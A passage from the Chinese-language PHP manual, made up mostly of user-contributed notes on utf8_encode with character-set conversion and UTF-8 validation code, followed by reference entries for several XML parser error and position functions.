"\xbe" => "\xe0\xb8\x9e",
"\xbf" => "\xe0\xb8\x9f",
"\xc0" => "\xe0\xb8\xa0",
"\xc1" => "\xe0\xb8\xa1",
"\xc2" => "\xe0\xb8\xa2",
"\xc3" => "\xe0\xb8\xa3",
"\xc4" => "\xe0\xb8\xa4",
"\xc5" => "\xe0\xb8\xa5",
"\xc6" => "\xe0\xb8\xa6",
"\xc7" => "\xe0\xb8\xa7",
"\xc8" => "\xe0\xb8\xa8",
"\xc9" => "\xe0\xb8\xa9",
"\xca" => "\xe0\xb8\xaa",
"\xcb" => "\xe0\xb8\xab",
"\xcc" => "\xe0\xb8\xac",
"\xcd" => "\xe0\xb8\xad",
"\xce" => "\xe0\xb8\xae",
"\xcf" => "\xe0\xb8\xaf",
"\xd0" => "\xe0\xb8\xb0",
"\xd1" => "\xe0\xb8\xb1",
"\xd2" => "\xe0\xb8\xb2",
"\xd3" => "\xe0\xb8\xb3",
"\xd4" => "\xe0\xb8\xb4",
"\xd5" => "\xe0\xb8\xb5",
"\xd6" => "\xe0\xb8\xb6",
"\xd7" => "\xe0\xb8\xb7",
"\xd8" => "\xe0\xb8\xb8",
"\xd9" => "\xe0\xb8\xb9",
"\xda" => "\xe0\xb8\xba",
"\xdf" => "\xe0\xb8\xbf",
"\xe0" => "\xe0\xb9\x80",
"\xe1" => "\xe0\xb9\x81",
"\xe2" => "\xe0\xb9\x82",
"\xe3" => "\xe0\xb9\x83",
"\xe4" => "\xe0\xb9\x84",
"\xe5" => "\xe0\xb9\x85",
"\xe6" => "\xe0\xb9\x86",
"\xe7" => "\xe0\xb9\x87",
"\xe8" => "\xe0\xb9\x88",
"\xe9" => "\xe0\xb9\x89",
"\xea" => "\xe0\xb9\x8a",
"\xeb" => "\xe0\xb9\x8b",
"\xec" => "\xe0\xb9\x8c",
"\xed" => "\xe0\xb9\x8d",
"\xee" => "\xe0\xb9\x8e",
"\xef" => "\xe0\xb9\x8f",
"\xf0" => "\xe0\xb9\x90",
"\xf1" => "\xe0\xb9\x91",
"\xf2" => "\xe0\xb9\x92",
"\xf3" => "\xe0\xb9\x93",
"\xf4" => "\xe0\xb9\x94",
"\xf5" => "\xe0\xb9\x95",
"\xf6" => "\xe0\xb9\x96",
"\xf7" => "\xe0\xb9\x97",
"\xf8" => "\xe0\xb9\x98",
"\xf9" => "\xe0\xb9\x99",
"\xfa" => "\xe0\xb9\x9a",
"\xfb" => "\xe0\xb9\x9b"
 );

     $string=strtr($string,$iso8859_11);
     return $string;
 }

Suttichai Mesaard-www.ceforce.com
bisqwit at iki dot fi 20-May-2005 01:15
For reference, it may be insightful to point out that:
  utf8_encode($s)
is actually identical to:
  recode_string('latin1..utf8', $s)
and:
  iconv('iso-8859-1', 'utf-8', $s)
That is, utf8_encode is a specialized case of character set conversions.

If your string to be converted to utf-8 is something other than iso-8859-1 (such as iso-8859-2 (Polish/Croatian)), you should use recode_string() or iconv() instead rather than trying to devise complex str_replace statements.
JF Sebastian 09-Apr-2005 03:54
The following Perl regular expression tests if a string is well-formed Unicode UTF-8 (Broken up after each | since long lines are not permitted here. Please join as a single line, no spaces, before use.):

^([\x00-\x7f]|
[\xc2-\xdf][\x80-\xbf]|
\xe0[\xa0-\xbf][\x80-\xbf]|
[\xe1-\xec][\x80-\xbf]{2}|
\xed[\x80-\x9f][\x80-\xbf]|
[\xee-\xef][\x80-\xbf]{2}|
f0[\x90-\xbf][\x80-\xbf]{2}|
[\xf1-\xf3][\x80-\xbf]{3}|
\xf4[\x80-\x8f][\x80-\xbf]{2})*$

NOTE: This strictly follows the Unicode standard 4.0, as described in chapter 3.9, table 3-6, "Well-formed UTF-8 byte sequences" ( http://www.unicode.org/versions/Unicode4.0.0/ch03.pdf#G31703 ).

ISO-10646, a super-set of Unicode, uses UTF-8 (there called "UCS", see http://www.unicode.org/faq/utf_bom.html#1 ) in a relaxed variant that supports a 31-bit space encoded into up to six bytes instead of Unicode's 21 bits in up to four bytes. To check for ISO-10646 UTF-8, use the following Perl regular expression (again, broken up, see above):

^([\x00-\x7f]|
[\xc0-\xdf][\x80-\xbf]|
[\xe0-\xef][\x80-\xbf]{2}|
[\xf0-\xf7][\x80-\xbf]{3}|
[\xf8-\xfb][\x80-\xbf]{4}|
[\xfc-\xfd][\x80-\xbf]{5})*$

The following function may be used with above expressions for a quick UTF-8 test, e.g. to distinguish ISO-8859-1-data from UTF-8-data if submitted from a <form accept-charset="utf-8,iso-8859-1" method=..>.

function is_utf8($string) {
   return (preg_match('/[insert regular expression here]/', $string) === 1);
}
http://iubito.free.fr 09-Mar-2005 11:57
Here's a function I made to know if one string or textfile is already encoded in UTF8 :

<?php
/**
 * Returns <kbd>true</kbd> if the string or array of string is encoded in UTF8.
 *
 * Example of use. If you want to know if a file is saved in UTF8 format :
 * <code> $array = file('one file.txt');
 * $isUTF8 = isUTF8($array);
 * if (!$isUTF8) --> we need to apply utf8_encode() to be in UTF8
 * else --> we are in UTF8 :)
 * </code>
 * @param mixed A string, or an array from a file() function.
 * @return boolean
 */
function isUTF8($string)
{
    if (is_array($string))
    {
        $enc = implode('', $string);
        return @!((ord($enc[0]) != 239) && (ord($enc[1]) != 187) && (ord($enc[2]) != 191));
    }
    else
    {
        return (utf8_encode(utf8_decode($string)) == $string);
    }
}
?>
Denis G. 24-Feb-2005 05:32
Sniplet to convert ASCII coded text to UTF-8:

$text= preg_replace ('/([\x80-\xff])/se', "pack (\"C*\", (ord ($1) >> 6) | 0xc0, (ord ($1) & 0x3f) | 0x80)", $text);
anonymous at anonymous dot com 24-Jan-2005 02:49
A few bugs in your example code:

 function code2utf($num){
  if($num<128)return chr($num);
  if($num<2048)return chr(($num>>6)+192).chr(($num&63)+128);
  if($num<65536)return chr(($num>>12)+224).chr((($num>>6)&63)+128).chr(($num&63)+128);
  if($num<2097152)return chr(($num>>18)+240).chr((($num>>12)&63)+128).chr((($num>>6)&63)+128) .chr(($num&63)+128);
  return '';
 }
schofei at yahoo dot de 11-Jan-2005 03:23
regarding the above code2utf function...

> romans at void dot lv
> 02-Oct-2002 09:59
> Here is optimized function which converts
> binary UTF symbol code into unicoded string....

Thanks for providing your nice conversion code, however due to some missing parenthesis 4-byte utf-8 chars are not converted properly.

Here is a corrected version of the code2utf function:

 function code2utf($num){
  if($num<128)return chr($num);
  if($num<1024)return chr(($num>>6)+192).chr(($num&63)+128);
  if($num<32768)return chr(($num>>12)+224).chr((($num>>6)&63)+128).chr(($num&63)+128);
  if($num<2097152)return chr(($num>>18)+240).chr((($num>>12)&63)+128).chr((($num>>6)&63)+128) .chr(($num&63)+128);
  return '';
 }

regards
Scho Fei
hrpeters (at) gmx (dot) net 13-Dec-2004 10:46
// Validate Unicode UTF-8 Version 4
// This function takes as reference the table 3.6 found at http://www.unicode.org/versions/Unicode4.0.0/ch03.pdf
// It also flags overlong bytes as error

function is_validUTF8($str)
{
    // values of -1 represent disalloweded values for the first bytes in current UTF-8
    static $trailing_bytes = array (
        0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
        0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
        0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
        0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
        -1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1, -1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,
        -1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1, -1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,
        -1,-1,1,1,1,1,1,1,1,1,1,1,1,1,1,1, 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,
        2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2, 3,3,3,3,3,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1
    );

    $ups = unpack('C*', $str);
    if (!($aCnt = count($ups))) return true; // Empty string *is* valid UTF-8
    for ($i = 1; $i <= $aCnt;)
    {
        if (!($tbytes = $trailing_bytes[($b1 = $ups[$i++])])) continue;
        if ($tbytes == -1) return false;

        $first = true;
        while ($tbytes > 0 && $i <= $aCnt)
        {
            $cbyte = $ups[$i++];
            if (($cbyte & 0xC0) != 0x80) return false;

            if ($first)
            {
                switch ($b1)
                {
                    case 0xE0:
                        if ($cbyte < 0xA0) return false;
                        break;
                    case 0xED:
                        if ($cbyte > 0x9F) return false;
                        break;
                    case 0xF0:
                        if ($cbyte < 0x90) return false;
                        break;
                    case 0xF4:
                        if ($cbyte > 0x8F) return false;
                        break;
                    default:
                        break;
                }
                $first = false;
            }
            $tbytes--;
        }
        if ($tbytes) return false; // incomplete sequence at EOS
    }
    return true;
}
Mark AT modernbill DOT com 09-Nov-2004 11:56
If you haven't guessed already: If the UTF-8 character has no representation in the ISO-8859-1 codepage, a ? will be returned. You might want to wrap a function around this to make sure you aren't saving a bunch of ???? into your database.
Aidan Kehoe <php-manual at parhasard dot net> 30-Aug-2004 07:05
Here's some code that addresses the issue that Steven describes in the previous comment;

<?php

/* This structure encodes the difference between ISO-8859-1 and Windows-1252,
   as a map from the UTF-8 encoding of some ISO-8859-1 control characters to
   the UTF-8 encoding of the non-control characters that Windows-1252 places
   at the equivalent code points. */

$cp1252_map = array(
    "\xc2\x80" => "\xe2\x82\xac", /* EURO SIGN */
    "\xc2\x82" => "\xe2\x80\x9a", /* SINGLE LOW-9 QUOTATION MARK */
    "\xc2\x83" => "\xc6\x92",     /* LATIN SMALL LETTER F WITH HOOK */
    "\xc2\x84" => "\xe2\x80\x9e", /* DOUBLE LOW-9 QUOTATION MARK */
    "\xc2\x85" => "\xe2\x80\xa6", /* HORIZONTAL ELLIPSIS */
    "\xc2\x86" => "\xe2\x80\xa0", /* DAGGER */
    "\xc2\x87" => "\xe2\x80\xa1", /* DOUBLE DAGGER */
    "\xc2\x88" => "\xcb\x86",     /* MODIFIER LETTER CIRCUMFLEX ACCENT */
    "\xc2\x89" => "\xe2\x80\xb0", /* PER MILLE SIGN */
    "\xc2\x8a" => "\xc5\xa0",     /* LATIN CAPITAL LETTER S WITH CARON */
    "\xc2\x8b" => "\xe2\x80\xb9", /* SINGLE LEFT-POINTING ANGLE QUOTATION */
    "\xc2\x8c" => "\xc5\x92",     /* LATIN CAPITAL LIGATURE OE */
    "\xc2\x8e" => "\xc5\xbd",     /* LATIN CAPITAL LETTER Z WITH CARON */
    "\xc2\x91" => "\xe2\x80\x98", /* LEFT SINGLE QUOTATION MARK */
    "\xc2\x92" => "\xe2\x80\x99", /* RIGHT SINGLE QUOTATION MARK */
    "\xc2\x93" => "\xe2\x80\x9c", /* LEFT DOUBLE QUOTATION MARK */
    "\xc2\x94" => "\xe2\x80\x9d", /* RIGHT DOUBLE QUOTATION MARK */
    "\xc2\x95" => "\xe2\x80\xa2", /* BULLET */
    "\xc2\x96" => "\xe2\x80\x93", /* EN DASH */
    "\xc2\x97" => "\xe2\x80\x94", /* EM DASH */

    "\xc2\x98" => "\xcb\x9c",     /* SMALL TILDE */
    "\xc2\x99" => "\xe2\x84\xa2", /* TRADE MARK SIGN */
    "\xc2\x9a" => "\xc5\xa1",     /* LATIN SMALL LETTER S WITH CARON */
    "\xc2\x9b" => "\xe2\x80\xba", /* SINGLE RIGHT-POINTING ANGLE QUOTATION*/
    "\xc2\x9c" => "\xc5\x93",     /* LATIN SMALL LIGATURE OE */
    "\xc2\x9e" => "\xc5\xbe",     /* LATIN SMALL LETTER Z WITH CARON */
    "\xc2\x9f" => "\xc5\xb8"      /* LATIN CAPITAL LETTER Y WITH DIAERESIS*/
);

function cp1252_to_utf8($str) {
        global $cp1252_map;
        return  strtr(utf8_encode($str), $cp1252_map);
}

?>
steven -at- acko -dot- net 17-Aug-2004 02:45
Note that you should only use utf8_encode() on ISO-8859-1 data, and not on data using the Windows-1252 codepage. Microsoft's Windows-1252 codepage contains ISO-8859-1, but it includes several characters in the range 0x80-0x9F whose codepoints in Unicode do not match the byte's value (in Unicode, codepoints U+80 - U+9F are unassigned).

utf8_encode() simply assumes the bytes integer value is the codepoint number in Unicode.

E.g. in 1252, byte 0x80 is the euro sign, which is U+20AC. The same goes for curly quotes, em dashes, etc.

utf8_encode() will convert 0x80 into U+0080 (an unassigned codepoint) rather than U+20AC.

To convert 1252 to UTF-8, use iconv, recode or mbstring.
Net Raven 24-Jun-2004 12:58
I often need to convert multi language text sent to me for use in websites and other apps into UTF8 encoded so I can insert it into source code and databases.

I knocked up a small web page with its charset set to UTF8 then set it up so I can paste from the original doc (eg word or excel) and have the page return the UTF8 encoded version.

Of course the browser will convert the unicode to UTF8 for you as part of the submit (I use IE5 or better for this) then all you have to do in the PHP is encode the UTF8 so the browser will show it in its raw form.

Its a bit bulky but I just convert ALL character to html numbered entities (brute force and ignorance does it again.)

I've used this to encode everything from Hebrew to Japanese without problems

<?
header("Content-Type: text/plain; CHARSET=gb2312");
$code = (get_magic_quotes_gpc())?stripslashes($GLOBALS[code]):$GLOBALS[code];
?>
<html>
<head>
    <title>UTF8 ENCODER PAGE</title>
    <meta http-equiv="content-type" content="text/html; CHARSET=gb2312">
</head>
<body>
<form method=post action="?seed=<?=time()?>">
    Original Unicode<br />
    <textarea name="code" cols="80" rows="10"><?=$code?></textarea><br />
    Encoded UTF8<br />
    <textarea name="encd" cols="80" rows="10"><?
        for ($i = 0; $i < strlen($code); $i++) {
            echo '&#'.ord(substr($code,$i,1));
        }
    ?></textarea><br />
    <input type="submit" value="encode">
</form>
</body>
</html>
lorro at lorro dot wigner dot bme dot hu 05-Apr-2004 07:12
Good news is that utf8_encode (like UTF-8) passes '<', '>', '/', '\'', '"', etc., so you are free to utf8_encode complete blocks of html text that includes tags.
Bad news is that UTF-8 is stupid enough so that utf8_encode(utf8_encode($str)) != utf8_encode($str) in most of the cases. What you can do is write utf8_ensure like:

function utf8_ensure($str) {
    return seems_utf8($str)? $str: utf8_encode($str);
}

Comes handy when your view library tries to encode the same text multiple times.
bmorel at ssi dot fr 16-Feb-2004 12:28
Here is a simple function that can help, if you want to know if a string could be UTF-8 or not :

<?php
function seems_utf8($Str) {
 for ($i=0; $i<strlen($Str); $i++) {
  if (ord($Str[$i]) < 0x80) $n=0; # 0bbbbbbb
  elseif ((ord($Str[$i]) & 0xE0) == 0xC0) $n=1; # 110bbbbb
  elseif ((ord($Str[$i]) & 0xF0) == 0xE0) $n=2; # 1110bbbb
  elseif ((ord($Str[$i]) & 0xF0) == 0xF0) $n=3; # 1111bbbb
  else return false; # Does not match any model
  for ($j=0; $j<$n; $j++) { # n octets that match 10bbbbbb follow ?
   if ((++$i == strlen($Str)) || ((ord($Str[$i]) & 0xC0) != 0x80)) return false;
  }
 }
 return true;
}
?>
Karen 01-Oct-2003 12:33
Re the previous post about converting GB2312 code to Unicode code which displayed the following function:

<?
// Program by sadly (www.phpx.com)

function gb2unicode($gb)
{
   if(!trim($gb))
    return $gb;
   $filename="gb2312.txt";
   $tmp=file($filename);
   $codetable=array();
   while(list($key,$value)=each($tmp))
    $codetable[hexdec(substr($value,0,6))]=substr($value,9,4);
   $utf="";
   while($gb)
    {
      if (ord(substr($gb,0,1))>127)
     {
        $this=substr($gb,0,2);
        $gb=substr($gb,2,strlen($gb));
        $utf.="&#x".$codetable[hexdec(bin2hex($this))-0x8080].";";
      }
     else
     {
      $gb=substr($gb,1,strlen($gb));
      $utf.=substr($gb,0,1);
     }
     }
  return $utf;
}
?>

I found that a small change was needed in the code to properly handle latin characters embedded in the middle of gb2312 text, as when the text includes a URL or email address. Just reverse the two lines in the part of the statement above that handles ord vals !>127.

Change:

$gb=substr($gb,1,strlen($gb));
$utf.=substr($gb,0,1);

to:

$utf.=substr($gb,0,1);
$gb=substr($gb,1,strlen($gb));

In the original function, the first latin chacter was dropped and it was not converting the first non-latin character after the latin text (everything was shifted one character too far to the right). Reversing those two lines makes it work correctly in every example I have tried.

Also, the source of the gb2312.txt file needed for this to work has changed. You can find it a couple places:

http://tcl.apache.org/sources/tcl/tools/encoding/gb2312.txt
ftp://ftp.unicode.org/Public/MAPPINGS/OBSOLETE/EASTASIA/GB/GB2312.TXT
artem at w510 dot tm dot odessa dot ua 02-Jun-2003 07:10
Loading variables in flash

you can lost a lot of hours if your charset is not iso-88951 and you cant' see your characters in flash

you must use iconv instead with your codepage
(for example windows-1251 for ukrainian, russian)

$fw = fopen("flash_input.txt", "w");
if( $fw )
{
    $utf = iconv("windows-1251","UTF-8",$variable_value);
    $out = 'variable_name='.$utf;
    fputs($fw, $out);
    fclose($fw);
}

and no urlecode is needed if you save data in file!
mualem_i at hotmail dot com 21-May-2003 06:12
Hebrew!! What a language. I had some trouble placing the Hebrew in a javascript based drop down menu, the text appeared as UTF8 so I made this function to overcome the problem (Not talking about efficiency)

function rtf_heb($string)
    {
    $array = split (" ",$string) ;
    foreach ($array as $VAL)
        {
        $VAL = str_replace("&#1488","?",$VAL);
        $VAL = str_replace("&#1489","?",$VAL);
        $VAL = str_replace("&#1490","?",$VAL);
        $VAL = str_replace("&#1491","?",$VAL);
        $VAL = str_replace("&#1492","?",$VAL);
        $VAL = str_replace("&#1493","?",$VAL);
        $VAL = str_replace("&#1494","?",$VAL);
        $VAL = str_replace("&#1495","?",$VAL);
        $VAL = str_replace("&#1496","?",$VAL);
        $VAL = str_replace("&#1497","?",$VAL);
        $VAL = str_replace("&#1499","?",$VAL);
        $VAL = str_replace("&#1500","?",$VAL);
        $VAL = str_replace("&#1502","?",$VAL);
        $VAL = str_replace("&#1504","?",$VAL);
        $VAL = str_replace("&#1505","?",$VAL);
        $VAL = str_replace("&#1506","?",$VAL);
        $VAL = str_replace("&#1508","?",$VAL);
        $VAL = str_replace("&#1510","?",$VAL);
        $VAL = str_replace("&#1511","?",$VAL);
        $VAL = str_replace("&#1512","?",$VAL);
        $VAL = str_replace("&#1513","?",$VAL);
        $VAL = str_replace("&#1514","?",$VAL);
        $VAL = str_replace("&#1498","?",$VAL);
        $VAL = str_replace("&#1507","?",$VAL);
        $VAL = str_replace("&#1503","?",$VAL);
        $VAL = str_replace("&#1501","?",$VAL);
        $VAL = str_replace("&#1509","?",$VAL);
        $VAL = str_replace(";","",$VAL);
        $send_VAR .= $VAL." ";

        }
        return $send_VAR;
    }
RoyLaw at 263 dot Net 19-May-2003 04:16
There is a function for converting GB2312 code to Unicode code.It maybe useful for programming on XML/WML in non-English lanaguages.

<?
// Program by sadly (www.phpx.com)

function gb2unicode($gb)
{
   if(!trim($gb))
    return $gb;
   $filename="gb2312.txt";
   $tmp=file($filename);
   $codetable=array();
   while(list($key,$value)=each($tmp))
    $codetable[hexdec(substr($value,0,6))]=substr($value,9,4);
   $utf="";
   while($gb)
    {
      if (ord(substr($gb,0,1))>127)
     {
        $this=substr($gb,0,2);
        $gb=substr($gb,2,strlen($gb));
        $utf.="&#x".$codetable[hexdec(bin2hex($this))-0x8080].";";
      }
     else
     {
      $gb=substr($gb,1,strlen($gb));
      $utf.=substr($gb,0,1);
     }
     }
  return $utf;
}
?>

This function requires a code list of gb2312,you can download it at
ftp://ftp.unicode.org/Public/MAPPINGS/EASTASIA/GB/GB2312.TXT
rbotzer at yahoo dot com 01-Apr-2003 01:25
BTW, the 21-bit range is pretty old news.  Unicode 3.x uses a 31bit encoding scheme that allows for 2 billion characters.

I'll post an enhanced encoder soon.  In the meanwhile here's the current encoding scheme: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8

Ronen
romans at void dot lv 02-Oct-2002 06:59
Here is optimized function which converts binary UTF symbol code into unicoded string.

 function code2utf($num){
  if($num<128)return chr($num);
  if($num<1024)return chr(($num>>6)+192).chr(($num&63)+128);
  if($num<32768)return chr(($num>>12)+224).chr((($num>>6)&63)+128).chr(($num&63)+128);
  if($num<2097152)return chr($num>>18+240).chr((($num>>12)&63)+128).chr(($num>>6)&63+128). chr($num&63+128);
  return '';
 }
dimitrisATccfDOTauthDOTgr 28-Aug-2002 11:04
To make utf8_encode and utf8_decode support other than iso-8859-1 encodings, you can easily define your encoding in the PHP source.
In the file PHP_SOURCE/ext/xml/xml.c add the following code, for e.g. greek iso-8859-7:

DEFINE TWO NEW FUNCTIONS UP TOP:
inline static unsigned short xml_encode_iso_8859_7(unsigned char);
inline static char xml_decode_iso_8859_7(unsigned short);

AND THEN IMPLEMENT THEM BELOW:
/* {{{ xml_encode_iso_8859_7() - Dimitris Daskopoulos 28/8/02 */
/* map iso-8859-7 chars to Unicode chars */
inline static unsigned short xml_encode_iso_8859_7(unsigned char c)
{
        if (c < 0x80) { /* low-ASCII, leave as is */
                return (unsigned short)c;
        } else { /* Greek character in high-ASCII */
                /* map to UCS greek range (U+0310..03ff) */
                /* assume that c < 0xff */
                return (unsigned short)(c + 720);
        }
}
/* }}} */

/* {{{ xml_decode_iso_8859_7() - Dimitris Daskopoulos 28/8/02 */
/* map Unicode chars to iso-8859-7 chars */
inline static char xml_decode_iso_8859_7(unsigned short c)
{
        if (c < 0x100) { /* char in latin chart, leave as is */
                return (char)c;
        } else if (c > 0x030f && c < 0x0400) { /* char in greek chart */
                /* map back to ISO-8859-7 greek (high-ASCII) */
                return (char)(c - 720);
        } else { /* char not in latin or greek Unicode charts */
                /* return question mark character */
                return (char)('?');
        }
}
/* }}} */

These two work fine for greek iso-8859-7, but studying http://www.unicode.org/charts you
can implement mappings between unicode and other iso-8859-x quite easily.

In both functions (utf8_encode and utf8_decode), change the requested encoding to the one you prefer, e.g.

encoded = xml_utf8_encode(Z_STRVAL_PP(arg), Z_STRLEN_PP(arg), &len, "ISO-8859-7");

decoded = xml_utf8_decode(Z_STRVAL_PP(arg), Z_STRLEN_PP(arg), &len, "ISO-8859-7");

Make sure you add the new encoding
in the structure, by entering a new
row with the official name (ISO-8859-7), and the names of the
two functions you have just defined:
xml_encoding xml_encodings[] = {
        { "ISO-8859-1", xml_decode_iso_8859_1, xml_encode_iso_8859_1 },
        { "US-ASCII",   xml_decode_us_ascii,   xml_encode_us_ascii   },
        { "UTF-8",      NULL,                  NULL                  },
        { "ISO-8859-7", xml_decode_iso_8859_7, xml_encode_iso_8859_7 },
        { NULL,         NULL,                  NULL                  }
};

Finally, the following is probably not necessary, but I changed the default encoding (found in 2 spots in this file) to whatever encoding you prefer in your
pages, e.g.:
XML(default_encoding) = "ISO-8859-7";

This solution is a little messy,
since the utf8_encode function does not accept an argument for choosing the encoding method to use but hardwires the encoding method in the source code. Maybe PHP developers will provide this option in future releases. Until then, this is a quick and dirty solution that will work for
localized PHP pages.

Dimitris Daskopoulos
ronen at greyzone dot com 07-Mar-2002 12:01
The following function will utf-8 encode unicode entities &#nnn(nn); with n={0..9}

/**
* takes a string of unicode entities and converts it to a utf-8 encoded string
* each unicode entitiy has the form &#nnn(nn); n={0..9} and can be displayed by utf-8 supporting
* browsers.  Ascii will not be modified.
* @param $source string of unicode entities [STRING]
* @return a utf-8 encoded string [STRING]
* @access public
*/
function utf8Encode ($source) {
    $utf8Str = '';
    $entityArray = explode ("&#", $source);
    $size = count ($entityArray);
    for ($i = 0; $i < $size; $i++) {
        $subStr = $entityArray[$i];
        $nonEntity = strstr ($subStr, ';');
        if ($nonEntity !== false) {
            $unicode = intval (substr ($subStr, 0, (strpos ($subStr, ';') + 1)));
            // determine how many chars are needed to reprsent this unicode char
            if ($unicode < 128) {
                $utf8Substring = chr ($unicode);
            }
            else if ($unicode >= 128 && $unicode < 2048) {
                $binVal = str_pad (decbin ($unicode), 11, "0", STR_PAD_LEFT);
                $binPart1 = substr ($binVal, 0, 5);
                $binPart2 = substr ($binVal, 5);

                $char1 = chr (192 + bindec ($binPart1));
                $char2 = chr (128 + bindec ($binPart2));
                $utf8Substring = $char1 . $char2;
            }
            else if ($unicode >= 2048 && $unicode < 65536) {
                $binVal = str_pad (decbin ($unicode), 16, "0", STR_PAD_LEFT);
                $binPart1 = substr ($binVal, 0, 4);
                $binPart2 = substr ($binVal, 4, 6);
                $binPart3 = substr ($binVal, 10);

                $char1 = chr (224 + bindec ($binPart1));
                $char2 = chr (128 + bindec ($binPart2));
                $char3 = chr (128 + bindec ($binPart3));
                $utf8Substring = $char1 . $char2 . $char3;
            }
            else {
                $binVal = str_pad (decbin ($unicode), 21, "0", STR_PAD_LEFT);
                $binPart1 = substr ($binVal, 0, 3);
                $binPart2 = substr ($binVal, 3, 6);
                $binPart3 = substr ($binVal, 9, 6);
                $binPart4 = substr ($binVal, 15);

                $char1 = chr (240 + bindec ($binPart1));
                $char2 = chr (128 + bindec ($binPart2));
                $char3 = chr (128 + bindec ($binPart3));
                $char4 = chr (128 + bindec ($binPart4));
                $utf8Substring = $char1 . $char2 . $char3 . $char4;
            }

            if (strlen ($nonEntity) > 1)
                $nonEntity = substr ($nonEntity, 1); // chop the first char (';')
            else
                $nonEntity = '';

            $utf8Str .= $utf8Substring . $nonEntity;
        }
        else {
            $utf8Str .= $subStr;
        }
    }

    return $utf8Str;
}

Ronen.


获取 XML 解析器的错误字符串

  • ? utf8_encode
  • xml_get_current_byte_index ?
  • PHP Manual
  • XML 解析器函数
  • 获取 XML 解析器的错误字符串

xml_error_string

(PHP 4, PHP 5, PHP 7)

xml_error_string — 获取 XML 解析器的错误字符串

说明

xml_error_string ( int $code ) : string

根据给定的 code 获得 XML 解析器错误字符串。

参数

code

由 xml_get_error_code() 返回的错误代码。

返回值

返回与 code 描述的错误代码参数对应的文本描述字符串，若没有与之对应的描述，则返回 FALSE。

参见

  • xml_get_error_code() - 获取 XML 解析器错误代码

User Contributed Notes

greg at getnetez dot com 23-Aug-2012 07:27
Two notes in one.

Here is the combination of xml_get_error_code() and xml_error_string() to get the error printout as an echo response

Also, I tested before and after xml_parser_free() -- as expected, the error is indeed cleared with the free() so check your error before calling xml_parser_free()

Pushing a deadline or I would add in sample faulted xml for full p.o.c.

somebody else want to step up for that??

G

<?php
$p = xml_parser_create();
xml_parse_into_struct($p, $data, $vals, $index);
//This call prints error
echo 'ERROR if any '.xml_error_string(xml_get_error_code($p));
xml_parser_free($p);
echo "Index array\\n";
print_r($index);
echo "\\nVals array\\n";
print_r($vals);
//No Error left here to be printed
echo 'ERROR if any '.xml_error_string(xml_get_error_code($p));
exit;
?>


获取 XML 解析器的当前字节索引

  • ? xml_error_string
  • xml_get_current_column_number ?
  • PHP Manual
  • XML 解析器函数
  • 获取 XML 解析器的当前字节索引

xml_get_current_byte_index

(PHP 4, PHP 5, PHP 7)

xml_get_current_byte_index — 获取 XML 解析器的当前字节索引

说明

xml_get_current_byte_index ( resource $parser ) : int

获取指定的 XML 解析器的当前字节索引（current byte index）。

参数

parser

指向要取得字节索引的 XML 解析器的引用。

返回值

如果 parser 没有指向一个合法的解析器，该函数将返回 FALSE，否则将返回解析器当前在其数据缓冲区中的字节索引（起始值为 0）。

注释

Warning

该函数将返回根据UTF-8编码的文本的字节索引，而不论输入是否是其他的编码。

参见

  • xml_get_current_column_index()
  • xml_get_current_line_index()

User Contributed Notes

turan dot yuksel at tcmb dot gov dot tr 20-Sep-2005 03:38
The outcome of this function is heavily dependent on the parser implementation used. For example, at the point where the start_element_ callback is called, libxml2 parser consumes the entire element name and attributes, however expat does not.


获取 XML 解析器的当前列号

  • ? xml_get_current_byte_index
  • xml_get_current_line_number ?
  • PHP Manual
  • XML 解析器函数
  • 获取 XML 解析器的当前列号

xml_get_current_column_number

(PHP 4, PHP 5, PHP 7)

xml_get_current_column_number — 获取 XML 解析器的当前列号

说明

xml_get_current_column_number ( resource $parser ) : int

获得指定 XML 解析器当前的列号。

参数

parser

一个指向要获取列号的 XML 解析器的指针。

返回值

如果 parser 参数没有指向一个合法的解析器，该函数将返回 FALSE，否则将返回指定解析器所在行（由函数 xml_get_current_line_number() 给定）的当前列号。

参见

  • xml_get_current_byte_index() - 获取 XML 解析器的当前字节索引
  • xml_get_current_line_index()

User Contributed Notes

shaun at 5810 dot com 05-Jul-2003 09:04
Column numbers apparently start at 0. So you may want to add 1.
javajohn at gulfbridge.net 22-Mar-2003 10:03
"Column number" refers to the current character position within the current line of the XML document.


获取 XML 解析器的当前行号

  • ? xml_get_current_column_number
  • xml_get_error_code ?
  • PHP Manual
  • XML 解析器函数
  • 获取 XML 解析器的当前行号

xml_get_current_line_number

(PHP 4, PHP 5, PHP 7)

xml_get_current_line_number — 获取 XML 解析器的当前行号

说明

xml_get_current_line_number ( resource $parser ) : int

获取指定 XML 解析器当前的行号。

参数

parser

一个指向要获取当前行号的 XML 解析器的指针。

返回值

如果 parser 参数没有指向一个合法的解析器，该函数将返回 FALSE，否则将返回指定解析器在其缓存中的当前行号。

参见

  • xml_get_current_column_index()
  • xml_get_current_byte_index() - 获取 XML 解析器的当前字节索引

User Contributed Notes

There are no user contributed notes for this page.


获取 XML 解析器错误代码

  • ? xml_get_current_line_number
  • xml_parse_into_struct ?
  • PHP Manual
  • XML 解析器函数
  • 获取 XML 解析器错误代码

xml_get_error_code

(PHP 4, PHP 5, PHP 7)

xml_get_error_code — 获取 XML 解析器错误代码

说明

xml_get_error_code ( resource $parser ) : int

获取 XML 解析器错误代码。

参数

parser

一个指向要返回错误代码的 XML 解析器的指针

返回值

如果 parser 参数没有指向一个合法的解析器，该函数将返回 FALSE，否则将返回错误代码列表中的一个错误代码。

参见

  • xml_error_string() - 获取 XML 解析器的错误字符串

User Contributed Notes

There are no user contributed notes for this page.


将 XML 数据解析到数组中

